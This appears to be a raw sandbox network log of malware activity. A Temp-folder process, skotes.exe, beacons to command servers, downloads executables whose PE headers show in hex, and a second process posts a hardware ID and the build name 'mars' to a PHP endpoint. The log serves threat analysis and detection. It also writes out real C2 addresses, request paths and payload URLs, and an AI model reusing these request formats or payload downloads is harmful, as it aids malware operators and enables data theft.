Nov 11, 2024 19:19:07.731601000 CET	212	IN	Data Raw: 94 ba 8b 16 f9 ff b5 e5 70 f2 30 16 70 37 b5 ce cb ab 34 9f af c4 f5 c8 7d 37 32 16 f0 ba 96 29 ad 93 4e 26 fd 83 4e 66 f9 83 4e 1a fd 83 4e 4e f9 83 4e 1e fd 83 4e 0a f9 83 4e 12 fd 83 4e 06 f9 43 4e 9f 34 5b 2a be 95 5b 32 16 ef fb 26 93 b0 ab Data Ascii: p0p74}72)N&NfNNNNNNNCN4[[2&:<[:p72<[R4>nFcq72<[<[.sg9S=2f550p0p34[F2K>2N{p7
Nov 11, 2024 19:19:07.731616020 CET	1236	IN	Data Raw: 71 33 8a c8 f9 83 4e fe 07 36 8a c8 cb 38 75 8d cb 36 3a 16 61 fd b5 d4 71 c0 26 f2 ee 0d 33 bf a5 3b 32 16 f9 7b 4e fe 7a ed 34 9e f4 5b a6 15 70 37 b7 91 94 d4 32 16 70 c0 ee f1 73 c2 e6 f1 5f bc 6d 41 69 46 c0 12 70 c7 ee 15 f8 bb 4e ab 70 37 Data Ascii: q3N68u6:aq&3;2{Nz4[p72ps_mAiFpNp72[p7Q;QW]pk?s{N/54[6:p>N.L>93p7s7Fs72[Wx72<[N)?.9@2\|;p.k4[6p72ia?72N&N;pl
Nov 11, 2024 19:19:07.731631041 CET	1236	IN	Data Raw: 94 93 34 16 70 20 e0 1e 70 37 bb ee 79 28 cb 15 70 37 32 42 75 ef 34 ca cb 36 bc 29 94 c0 ee f1 97 c0 ee f1 83 c2 ee f1 7b c4 36 93 70 37 32 16 81 12 cb 15 70 37 3a 19 1d fa cc 15 70 37 3a e5 d6 2d 74 f5 43 3b bb e4 81 09 b6 49 94 43 39 4a 74 68 Data Ascii: 4p p7y(p72Bu46){6p72p7:p7:-tC;IC9Jthm.zp;u&gF{NRqg9ao '4[.C:[p7aC{p79}7Qp72Np724[><p72`z4["Ix_72pz:972N.D;N
Nov 11, 2024 19:19:07.732368946 CET	1236	IN	Data Raw: a0 f8 9a 28 b1 31 35 17 ae 38 64 9a 64 c9 bb ee 99 08 bc c5 7c 67 bd 61 94 4f ba 61 94 63 ba 51 64 63 bd 11 94 c0 60 95 b1 67 ba 59 64 62 b5 cd 54 f1 29 93 d7 88 04 03 c3 21 bc e4 f9 07 74 bd 6b f8 8d 12 71 fa bb ed 06 9e 10 30 52 2e 9d 9e a0 f8 Data Ascii: (158dd\|gaOacQdc`gYdbT)!tkq0R.(!58dt_b{}ikqQC3p:w724`\| p7YCa?N&NNSYCa?"&<[",[N$[:[QCa?p82{p79u8Qpk4[*p92
Nov 11, 2024 19:19:07.732381105 CET	1236	IN	Data Raw: 8e c2 e6 f1 7b c2 de f1 63 46 c0 21 6e c4 05 17 f9 ab 4e 1a f8 4a f2 9c 24 5b 3e 0f a0 46 b5 0b 71 37 32 9d 24 5b 3a c0 ae 77 fe e2 31 ba 8b 11 45 06 bc e6 ef 18 f3 d6 d9 3d 39 80 65 38 a2 51 70 bf 60 15 a2 b7 90 fd 97 29 b3 d3 e4 c2 e6 f1 7b bf Data Ascii: {cF!nNJ$[>Fq72$[:w1E=9e8Qp`){%Up2pg2p_7"{/{2[p72p.i4["pInx4pc:9923ng9Fn72{p7kn5:92oFn72&:pSng4pj:9
Nov 11, 2024 19:19:07.736294985 CET	1236	IN	Data Raw: f9 83 4e 22 7b ed 32 9e 32 38 bd 51 94 4b b7 5d 71 c0 f6 f1 63 46 c0 15 f8 7d 34 9d 34 5b 1e 9b 38 38 bb 59 94 4b 39 80 70 bf f0 14 ef fd 2e 95 ae 33 00 83 f9 ab 4e 12 f7 3b 4e 17 a8 60 ee f1 5f ef 33 16 70 3a 9b 22 71 37 32 9d 24 5b 2e bf 0f 37 Data Ascii: N"{228QK]qcF}44[88YK9p.3N;N`_3p:"q72$[.72A;u>U$5Tz.A3D+;N4[.F%p;TqYOQ[.7pQc24[>p724[6p72h{j82N&N@a;p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	56453	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:11.094652891 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005587001&unit=246122658369
Nov 11, 2024 19:19:11.736515045 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	56454	185.215.113.16	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:11.856478930 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 19:19:12.460369110 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:12 GMT Content-Type: application/octet-stream Content-Length: 1744384 Last-Modified: Mon, 11 Nov 2024 17:39:31 GMT Connection: keep-alive ETag: "67324153-1a9e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 66 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 67 00 00 04 00 00 c3 9a [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"f@ g@M$a$ $b@.rsrc $r@.idata $r@ )$t@wdsvuckvMv@fmumcnizfv@.taggant0f"\|@
Nov 11, 2024 19:19:12.460501909 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:12.460514069 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:12.460525036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:12.460540056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:12.460551977 CET	1236	IN	Data Raw: c0 49 ed 62 91 cd 8d b9 8c d9 9c a1 06 21 f9 ac c8 f9 62 11 11 00 3f 95 c1 e3 69 af fc 91 d5 f7 a0 bf 34 ff a8 b1 e0 15 aa c1 7e 19 99 c9 af 0d 91 b1 07 f2 0e c9 bb ef f8 a1 f9 fa a1 b7 95 5a 90 6d 0e 80 74 75 ae 5f 71 86 35 42 c8 bd e4 62 c7 80 Data Ascii: Ib!b?i4~Zmtu_q5Bb-qoGH?SVp.VAd.Nh()J%/D! mXQo<FjYQydK-[4>-O^-OQ85En\|
Nov 11, 2024 19:19:12.460566044 CET	348	IN	Data Raw: 5c d6 a7 e1 1d 98 ce d0 ec 43 c1 6a 91 1e f0 dd d3 b2 db 42 1c a5 73 e4 b8 af 1b e4 d6 34 ca 21 da f6 ec 7a 92 3e 8e f9 2c f9 f4 6e 1a b8 e1 96 ce 7e 9f 7d fa bd e6 ea a5 c7 18 70 0d cf 00 f1 24 f6 e3 1f 0d 86 79 05 cd 5d cb a5 d8 f3 48 72 f8 d3 Data Ascii: \CjBs4!z>,n~}p$y]Hr$\|@!2)pme=~L?>M8;99Y1i<#1VqFxW.#I0#}qd&UNu\|89d<6_{YmI+dM!B`p\ U1
Nov 11, 2024 19:19:12.460808039 CET	1236	IN	Data Raw: 50 4a f9 b4 79 2f 13 18 64 c0 ab 23 3e b1 85 aa 83 72 ee eb 05 32 f4 b4 11 c6 d2 83 d3 74 67 18 9d f7 dd fd 99 2e 3a 33 12 70 45 de c8 c3 65 ed db 27 6a 9f 91 39 3e ef 93 7e 99 37 da b7 5a cd 72 57 f3 81 cf ed 64 b2 ac 5d db 4d 4d 8d 94 67 90 17 Data Ascii: PJy/d#>r2tg.:3pEe'j9>~7ZrWd]MMg`q-V@)RG9sYi8\p!!ZRi;h?m~o%drY\\}xrB_Zt!p5<I
Nov 11, 2024 19:19:12.460819960 CET	1236	IN	Data Raw: 97 75 69 0b 7d 32 2b 4f a7 b5 06 0a 97 fb 8c fa ac 34 cb 28 25 01 41 01 24 fa 05 2b 9e ca dc 63 9b 67 7d ae a0 be 75 05 cb c7 70 6d e4 59 cc e3 6b 75 35 8d d6 da 01 1e 94 7b 49 f3 46 ff 3c b2 99 15 75 8c 01 5a 1e de 91 fb 5c d9 04 c7 20 0c 2d ca Data Ascii: ui}2+O4(%A$+cg}upmYku5{IF<uZ\ ->uE5qfh``0}i4+zQI!<qing}ryXKDJrnb128!BEJi dlDb.y1xbugAp
Nov 11, 2024 19:19:12.460832119 CET	1236	IN	Data Raw: b3 ef f0 9a aa fd fd 82 ce 07 d5 f1 96 fb d4 fa c8 33 ce 7c b1 12 3d 12 97 09 69 b9 c4 fb 21 8e ad 9c f5 d1 04 db 44 65 cb 18 3d e8 10 5a f7 75 91 4d 4e b1 d9 fe 67 09 b6 69 4e f2 3c b2 9e fa c0 c5 ba 9a 51 35 f7 31 a8 b3 43 fe aa c7 7e 0a 99 a1 Data Ascii: 3\|=i!De=ZuMNgiN<Q51C~Xt1b=tAipJds,!NPmj(Zi#)qn%+Z -,l1"(qb5$5#]Ii(Hci!F
Nov 11, 2024 19:19:12.465497017 CET	1236	IN	Data Raw: 07 fb 5b 0a c3 d9 f6 0b 25 32 2b da e4 7d 4d 0b 2d cc b9 e3 e0 03 68 42 25 02 e3 0d 93 c2 1c 09 99 fa 7a 89 21 e3 68 63 b0 b6 43 05 ab f6 9c fa 7c b1 0c 6e c6 c6 d9 30 62 e4 fb 09 2d f3 e8 ff 91 a0 e8 af 37 fb e3 a9 96 05 4d b1 71 b8 5d a9 14 f1 Data Ascii: [%2+}M-hB%z!hcC\|n0b-7Mq]f4!r5gcH$i$4Y!iA5-!rK51gmA{Czp5m.v4dYE/=NI"tz-/Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	56455	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:15.740406036 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005588001&unit=246122658369
Nov 11, 2024 19:19:16.381724119 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	56456	185.215.113.16	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:16.731443882 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 11 Nov 2024 17:39:31 GMT If-None-Match: "67324153-1a9e00"
Nov 11, 2024 19:19:17.379570007 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:17 GMT Last-Modified: Mon, 11 Nov 2024 17:39:31 GMT Connection: keep-alive ETag: "67324153-1a9e00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	56458	185.215.113.206	80	8056	C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:19.468106031 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:19:20.106533051 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:19:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:19:20.522624016 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 37 44 43 39 45 31 37 41 35 41 31 33 36 31 34 39 35 32 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="hwid"7A7DC9E17A5A1361495298------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="build"mars------EGCGHCBKFCFBFHIDHDBF--
Nov 11, 2024 19:19:20.728328943 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:19:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	56459	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:19.587862015 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 38 39 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005589031&unit=246122658369
Nov 11, 2024 19:19:20.227685928 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	56460	185.215.113.16	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:20.540925026 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 19:19:21.183943987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:21 GMT Content-Type: application/octet-stream Content-Length: 2825728 Last-Modified: Mon, 11 Nov 2024 17:51:07 GMT Connection: keep-alive ETag: "6732440b-2b1e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 5a 35 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +Z5+`Ui` @ @.rsrc`2@.idata 8@nbohhauh*:@qsvzttvm `+@.taggant@+"*@
Nov 11, 2024 19:19:21.183962107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:21.183974028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:21.184150934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:21.184163094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:21.184174061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:21.184181929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:21.184194088 CET	1236	IN	Data Raw: 02 6c e0 02 3a c9 e6 4f a1 38 e3 c7 b1 f2 1d 11 1d 85 0b 61 dc 27 17 a1 8e 02 35 40 6b 87 aa 7f d9 f0 4c ed 60 e1 6b 21 09 b9 3d 1f 50 2b f1 42 ac 03 c1 11 e8 76 f4 45 a2 21 e2 5b 92 7b b8 7c 90 6e d1 01 3a 75 ed 39 de 12 c0 5f 4c 08 e2 f2 f8 51 Data Ascii: l:O8a'5@kL`k!=P+BvE![{\|n:u9_LQn;AjfE\|=pemClpMGrLuvgF5]ti,'aD]se5us.8wn<s'pxaa3t v903.R~(M=B\|n
Nov 11, 2024 19:19:21.184206009 CET	1236	IN	Data Raw: 2e 6d db 3f 76 6d df 63 1d 58 40 1f bb 10 d5 90 fc 18 d1 1b 32 27 37 60 8c f5 3c 0f 96 30 ef 02 fc 18 2f 61 02 d0 10 0c 05 67 6d 87 96 6d 1b 01 fc cc d8 d7 32 34 0b 1d c0 89 76 db fe 10 77 78 cc 11 4f fb bb ec e5 89 96 f0 c4 02 3c 01 6f f7 24 a8 Data Ascii: .m?vmcX@2'7`<0/agmm24vwxO<o$T#,_yx\|mG2z p LG-/Pb[^D_4[AwrhAVl5zljL<x_xsm*1?^MdbzT+0rx=N'tBO&b'B"
Nov 11, 2024 19:19:21.184220076 CET	1236	IN	Data Raw: d5 0e d0 08 c8 28 db 7c d1 d5 a8 02 a9 54 eb 9e a7 67 d9 d7 e6 7d 3f a8 ba ca 2b 20 c7 48 0d ad d8 15 25 d2 a0 e9 3e 4e 13 cb 8d 7d 9c 06 2c b8 ec 70 0f 31 b6 d7 69 23 ac 60 75 23 c3 c7 08 e4 24 7d 07 10 92 cb 1c 0a a5 be 4c 02 3e 9d 31 f3 61 5a Data Ascii: (\|Tg}?+ H%>N},p1i#`u#$}L>1aZNqC~2Lj#u3J8=_1})czQ$~$%>S;r~v~"FM,/x\|T91fRM_ma%ab8mf[*r,/%%Upo=
Nov 11, 2024 19:19:21.188951969 CET	1120	IN	Data Raw: bd 35 80 54 8b 04 fa 7b 80 88 fd 4e 5f 64 39 62 b0 7d e5 c2 b0 04 1b 77 b3 1e 87 28 b5 75 86 13 b0 74 1d 35 e3 01 49 bc 31 49 f7 d9 d7 b7 d5 90 fd b2 70 0e d5 d6 c0 47 fc 66 e9 3e de c1 04 35 4e d3 06 0c c0 c7 19 50 63 0d e6 b2 0c db 0b cc dc 48 Data Ascii: 5T{N_d9b}w(ut5I1IpGf>5NPcHNonqgo0T&5ec%3n)yw11_!4;zr/$O823am5[b)J#vK7,TdAd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	56463	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:24.424906969 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005590001&unit=246122658369
Nov 11, 2024 19:19:25.025172949 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	56465	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:26.786870003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:19:27.428076982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	56466	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:29.000696898 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 11, 2024 19:19:29.600599051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	56468	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:31.318239927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
